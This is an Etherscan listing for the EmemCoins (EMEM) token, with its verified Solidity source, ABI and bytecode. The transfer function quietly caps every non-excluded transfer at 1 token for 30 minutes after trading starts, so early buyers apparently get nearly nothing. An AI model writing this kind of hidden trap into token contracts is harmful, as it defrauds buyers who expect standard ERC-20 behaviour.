ETH Price: $3,270.79 (+0.60%)
Gas: 1 Gwei

Token

EmemCoins (EMEM)
 

Overview

Max Total Supply

404,404,404,404,404,404 EMEM

Holders

95

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
792,161,442,393,791.686754 EMEM

Value
$0.00
0x9b8ea6d2d409dc66124e1d3bab5bc10b2104e31d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EmemCoins

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-05-06
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
	
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }
	
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}

contract Ownable {
    address public _owner;
	
    constructor() {
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }
	
    function recyclingOwnership() public onlyOwner {
        _owner = address(0);
    }
	
	mapping (address => bool) _isExcludedFromFees;
	function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFees[accounts[i]] = excluded;
        }
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
	
    function balanceOf(address account) external view returns (uint256);
	
    function transfer(address recipient, uint256 amount) external returns (bool);
	
    function allowance(address owner, address spender) external view returns (uint256);
	
    function approve(address spender, uint256 amount) external returns (bool);
	
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	
    event Transfer(address indexed from, address indexed to, uint256 value);
	
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract EmemCoins is IERC20, Ownable {
    using SafeMath for uint256;

    uint256 _totalSupply;

    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    string private _name = "EmemCoins";
    string private _symbol = "EMEM";
    uint8 private _decimals = 6;
	address _contractCreater;
	uint256 public startTime;
    constructor(){
		_contractCreater = msg.sender;
        _isExcludedFromFees[_contractCreater] = true;
        _mint(_contractCreater, 404404404404404404 * 10**6);
    }
	
	receive() external payable {
		payable(_contractCreater).transfer(address(this).balance);
	}
	
    function name() public view returns (string memory) {
        return _name;
    }
	
    function symbol() public view returns (string memory) {
        return _symbol;
    }
	
    function decimals() public view returns (uint8) {
        return _decimals;
    }
	
    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }
	
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
	
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
	
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
	
    function approve(address spender, uint256 value) public returns (bool) {
        _approve(msg.sender, spender, value);
        return true;
    }
	
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
		if(startTime == 0){startTime = block.timestamp;}
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }
	
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
        return true;
    }
	
    function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
        return true;
    }
	
    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(sender != recipient, "same address");
        if(_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]){}
        else if(startTime.add(1800) > block.timestamp){amount = 10**6;}
		_balances[sender] = _balances[sender].sub(amount);
		_balances[recipient] = _balances[recipient].add(amount);
		emit Transfer(sender, recipient, amount);
    }
	
    function _mint(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }
	
    function _burn(address account, uint256 value) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _totalSupply = _totalSupply.sub(value);
        _balances[account] = _balances[account].sub(value);
        emit Transfer(account, address(0), value);
    }
	
    function _approve(address owner, address spender, uint256 value) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = value;
        emit Approval(owner, spender, value);
    }
	
    function _burnFrom(address account, uint256 amount) internal {
        _burn(account, amount);
        _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
    }
	
	function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        
    }
	
	function burn(uint256 value) public returns (bool) {
        _burn(msg.sender, value);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recyclingOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600981526020017f456d656d436f696e730000000000000000000000000000000000000000000000815250600590816200004a919062000673565b506040518060400160405280600481526020017f454d454d000000000000000000000000000000000000000000000000000000008152506006908162000091919062000673565b506006600760006101000a81548160ff021916908360ff160217905550348015620000bb57600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001806000600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620001f4600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166955a2ce834b71446a9500620001fa60201b60201c565b620008e7565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200026c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200026390620007bb565b60405180910390fd5b62000288816002546200039660201b62000b281790919060201c565b600281905550620002e781600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200039660201b62000b281790919060201c565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200038a9190620007ee565b60405180910390a35050565b6000808284620003a791906200083a565b905083811015620003ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003e690620008c5565b60405180910390fd5b8091505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200047b57607f821691505b60208210810362000491576200049062000433565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004fb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620004bc565b620005078683620004bc565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620005546200054e62000548846200051f565b62000529565b6200051f565b9050919050565b6000819050919050565b620005708362000533565b620005886200057f826200055b565b848454620004c9565b825550505050565b600090565b6200059f62000590565b620005ac81848462000565565b505050565b5b81811015620005d457620005c860008262000595565b600181019050620005b2565b5050565b601f8211156200062357620005ed8162000497565b620005f884620004ac565b8101602085101562000608578190505b620006206200061785620004ac565b830182620005b1565b50505b505050565b600082821c905092915050565b6000620006486000198460080262000628565b1980831691505092915050565b600062000663838362000635565b9150826002028217905092915050565b6200067e82620003f9565b67ffffffffffffffff8111156200069a576200069962000404565b5b620006a6825462000462565b620006b3828285620005d8565b600060209050601f831160018114620006eb5760008415620006d6578287015190505b620006e2858262000655565b86555062000752565b601f198416620006fb8662000497565b60005b828110156200072557848901518255600182019150602085019450602081019050620006fe565b8683101562000745578489015162000741601f89168262000635565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620007a3601f836200075a565b9150620007b0826200076b565b602082019050919050565b60006020820190508181036000830152620007d68162000794565b9050919050565b620007e8816200051f565b82525050565b6000602082019050620008056000830184620007dd565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000847826200051f565b915062000854836200051f565b92508282019050808211156200086f576200086e6200080b565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000620008ad601b836200075a565b9150620008ba8262000875565b602082019050919050565b60006020820190508181036000830152620008e0816200089e565b9050919050565b611c3e80620008f76000396000f3fe6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146103c7578063b2bdfa7b14610404578063c492f0461461042f578063dd62ed3e1461045857610166565b806370a08231146102f757806378e979251461033457806395d89b411461035f578063a457c2d71461038a57610166565b8063313ce567116100c6578063313ce5671461023b578063395093511461026657806342966c68146102a3578063534d7a8f146102e057610166565b806306fdde031461016b578063095ea7b31461019657806318160ddd146101d357806323b872dd146101fe57610166565b3661016657600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610164573d6000803e3d6000fd5b005b600080fd5b34801561017757600080fd5b50610180610495565b60405161018d9190611303565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b891906113c3565b610527565b6040516101ca919061141e565b60405180910390f35b3480156101df57600080fd5b506101e861053e565b6040516101f59190611448565b60405180910390f35b34801561020a57600080fd5b5061022560048036038101906102209190611463565b610548565b604051610232919061141e565b60405180910390f35b34801561024757600080fd5b5061025061060b565b60405161025d91906114d2565b60405180910390f35b34801561027257600080fd5b5061028d600480360381019061028891906113c3565b610622565b60405161029a919061141e565b60405180910390f35b3480156102af57600080fd5b506102ca60048036038101906102c591906114ed565b6106c7565b6040516102d7919061141e565b60405180910390f35b3480156102ec57600080fd5b506102f56106dc565b005b34801561030357600080fd5b5061031e6004803603810190610319919061151a565b6107ad565b60405161032b9190611448565b60405180910390f35b34801561034057600080fd5b506103496107f6565b6040516103569190611448565b60405180910390f35b34801561036b57600080fd5b506103746107fc565b6040516103819190611303565b60405180910390f35b34801561039657600080fd5b506103b160048036038101906103ac91906113c3565b61088e565b6040516103be919061141e565b60405180910390f35b3480156103d357600080fd5b506103ee60048036038101906103e991906113c3565b610933565b6040516103fb919061141e565b60405180910390f35b34801561041057600080fd5b5061041961094a565b6040516104269190611556565b60405180910390f35b34801561043b57600080fd5b5061045660048036038101906104519190611602565b61096e565b005b34801561046457600080fd5b5061047f600480360381019061047a9190611662565b610aa1565b60405161048c9190611448565b60405180910390f35b6060600580546104a4906116d1565b80601f01602080910402602001604051908101604052809291908181526020018280546104d0906116d1565b801561051d5780601f106104f25761010080835404028352916020019161051d565b820191906000526020600020905b81548152906001019060200180831161050057829003601f168201915b5050505050905090565b6000610534338484610b86565b6001905092915050565b6000600254905090565b6000610555848484610d4f565b60006008540361056757426008819055505b61060084336105fb85600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108b90919063ffffffff16565b610b86565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006106bd33846106b885600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b2890919063ffffffff16565b610b86565b6001905092915050565b60006106d333836110ea565b60019050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461076a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107619061174e565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60085481565b60606006805461080b906116d1565b80601f0160208091040260200160405190810160405280929190818152602001828054610837906116d1565b80156108845780601f1061085957610100808354040283529160200191610884565b820191906000526020600020905b81548152906001019060200180831161086757829003601f168201915b5050505050905090565b6000610929338461092485600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108b90919063ffffffff16565b610b86565b6001905092915050565b6000610940338484610d4f565b6001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f39061174e565b60405180910390fd5b60005b83839050811015610a9b578160016000868685818110610a2257610a2161176e565b5b9050602002016020810190610a37919061151a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a93906117cc565b9150506109ff565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284610b379190611814565b905083811015610b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7390611894565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bec90611926565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b906119b8565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d429190611448565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db590611a4a565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2390611ab6565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610ecd5750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b610ef75742610ee9610708600854610b2890919063ffffffff16565b1115610ef657620f424090505b5b610f4981600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108b90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fde81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b2890919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161107e9190611448565b60405180910390a3505050565b6000828211156110d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c790611b22565b60405180910390fd5b600082846110de9190611b42565b90508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611159576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115090611be8565b60405180910390fd5b61116e8160025461108b90919063ffffffff16565b6002819055506111c681600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108b90919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112679190611448565b60405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b838110156112ad578082015181840152602081019050611292565b60008484015250505050565b6000601f19601f8301169050919050565b60006112d582611273565b6112df818561127e565b93506112ef81856020860161128f565b6112f8816112b9565b840191505092915050565b6000602082019050818103600083015261131d81846112ca565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061135a8261132f565b9050919050565b61136a8161134f565b811461137557600080fd5b50565b60008135905061138781611361565b92915050565b6000819050919050565b6113a08161138d565b81146113ab57600080fd5b50565b6000813590506113bd81611397565b92915050565b600080604083850312156113da576113d9611325565b5b60006113e885828601611378565b92505060206113f9858286016113ae565b9150509250929050565b60008115159050919050565b61141881611403565b82525050565b6000602082019050611433600083018461140f565b92915050565b6114428161138d565b82525050565b600060208201905061145d6000830184611439565b92915050565b60008060006060848603121561147c5761147b611325565b5b600061148a86828701611378565b935050602061149b86828701611378565b92505060406114ac868287016113ae565b9150509250925092565b600060ff82169050919050565b6114cc816114b6565b82525050565b60006020820190506114e760008301846114c3565b92915050565b60006020828403121561150357611502611325565b5b6000611511848285016113ae565b91505092915050565b6000602082840312156115305761152f611325565b5b600061153e84828501611378565b91505092915050565b6115508161134f565b82525050565b600060208201905061156b6000830184611547565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261159657611595611571565b5b8235905067ffffffffffffffff8111156115b3576115b2611576565b5b6020830191508360208202830111156115cf576115ce61157b565b5b9250929050565b6115df81611403565b81146115ea57600080fd5b50565b6000813590506115fc816115d6565b92915050565b60008060006040848603121561161b5761161a611325565b5b600084013567ffffffffffffffff8111156116395761163861132a565b5b61164586828701611580565b93509350506020611658868287016115ed565b9150509250925092565b6000806040838503121561167957611678611325565b5b600061168785828601611378565b925050602061169885828601611378565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806116e957607f821691505b6020821081036116fc576116fb6116a2565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061173860208361127e565b915061174382611702565b602082019050919050565b600060208201905081810360008301526117678161172b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117d78261138d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036118095761180861179d565b5b600182019050919050565b600061181f8261138d565b915061182a8361138d565b92508282019050808211156118425761184161179d565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061187e601b8361127e565b915061188982611848565b602082019050919050565b600060208201905081810360008301526118ad81611871565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061191060248361127e565b915061191b826118b4565b604082019050919050565b6000602082019050818103600083015261193f81611903565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006119a260228361127e565b91506119ad82611946565b604082019050919050565b600060208201905081810360008301526119d181611995565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611a3460258361127e565b9150611a3f826119d8565b604082019050919050565b60006020820190508181036000830152611a6381611a27565b9050919050565b7f73616d6520616464726573730000000000000000000000000000000000000000600082015250565b6000611aa0600c8361127e565b9150611aab82611a6a565b602082019050919050565b60006020820190508181036000830152611acf81611a93565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f770000600082015250565b6000611b0c601e8361127e565b9150611b1782611ad6565b602082019050919050565b60006020820190508181036000830152611b3b81611aff565b9050919050565b6000611b4d8261138d565b9150611b588361138d565b9250828203905081811115611b7057611b6f61179d565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000611bd260218361127e565b9150611bdd82611b76565b604082019050919050565b60006020820190508181036000830152611c0181611bc5565b905091905056fea2646970667358221220c047d79566f5cae5c3d452910a432248f2d36ddd5ddadfe7ffca9fac31a940db64736f6c63430008120033

Deployed Bytecode

0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146103c7578063b2bdfa7b14610404578063c492f0461461042f578063dd62ed3e1461045857610166565b806370a08231146102f757806378e979251461033457806395d89b411461035f578063a457c2d71461038a57610166565b8063313ce567116100c6578063313ce5671461023b578063395093511461026657806342966c68146102a3578063534d7a8f146102e057610166565b806306fdde031461016b578063095ea7b31461019657806318160ddd146101d357806323b872dd146101fe57610166565b3661016657600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610164573d6000803e3d6000fd5b005b600080fd5b34801561017757600080fd5b50610180610495565b60405161018d9190611303565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b891906113c3565b610527565b6040516101ca919061141e565b60405180910390f35b3480156101df57600080fd5b506101e861053e565b6040516101f59190611448565b60405180910390f35b34801561020a57600080fd5b5061022560048036038101906102209190611463565b610548565b604051610232919061141e565b60405180910390f35b34801561024757600080fd5b5061025061060b565b60405161025d91906114d2565b60405180910390f35b34801561027257600080fd5b5061028d600480360381019061028891906113c3565b610622565b60405161029a919061141e565b60405180910390f35b3480156102af57600080fd5b506102ca60048036038101906102c591906114ed565b6106c7565b6040516102d7919061141e565b60405180910390f35b3480156102ec57600080fd5b506102f56106dc565b005b34801561030357600080fd5b5061031e6004803603810190610319919061151a565b6107ad565b60405161032b9190611448565b60405180910390f35b34801561034057600080fd5b506103496107f6565b6040516103569190611448565b60405180910390f35b34801561036b57600080fd5b506103746107fc565b6040516103819190611303565b60405180910390f35b34801561039657600080fd5b506103b160048036038101906103ac91906113c3565b61088e565b6040516103be919061141e565b60405180910390f35b3480156103d357600080fd5b506103ee60048036038101906103e991906113c3565b610933565b6040516103fb919061141e565b60405180910390f35b34801561041057600080fd5b5061041961094a565b6040516104269190611556565b60405180910390f35b34801561043b57600080fd5b5061045660048036038101906104519190611602565b61096e565b005b34801561046457600080fd5b5061047f600480360381019061047a9190611662565b610aa1565b60405161048c9190611448565b60405180910390f35b6060600580546104a4906116d1565b80601f01602080910402602001604051908101604052809291908181526020018280546104d0906116d1565b801561051d5780601f106104f25761010080835404028352916020019161051d565b820191906000526020600020905b81548152906001019060200180831161050057829003601f168201915b5050505050905090565b6000610534338484610b86565b6001905092915050565b6000600254905090565b6000610555848484610d4f565b60006008540361056757426008819055505b61060084336105fb85600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108b90919063ffffffff16565b610b86565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006106bd33846106b885600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b2890919063ffffffff16565b610b86565b6001905092915050565b60006106d333836110ea565b60019050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461076a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107619061174e565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60085481565b60606006805461080b906116d1565b80601f0160208091040260200160405190810160405280929190818152602001828054610837906116d1565b80156108845780601f1061085957610100808354040283529160200191610884565b820191906000526020600020905b81548152906001019060200180831161086757829003601f168201915b5050505050905090565b6000610929338461092485600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108b90919063ffffffff16565b610b86565b6001905092915050565b6000610940338484610d4f565b6001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f39061174e565b60405180910390fd5b60005b83839050811015610a9b5781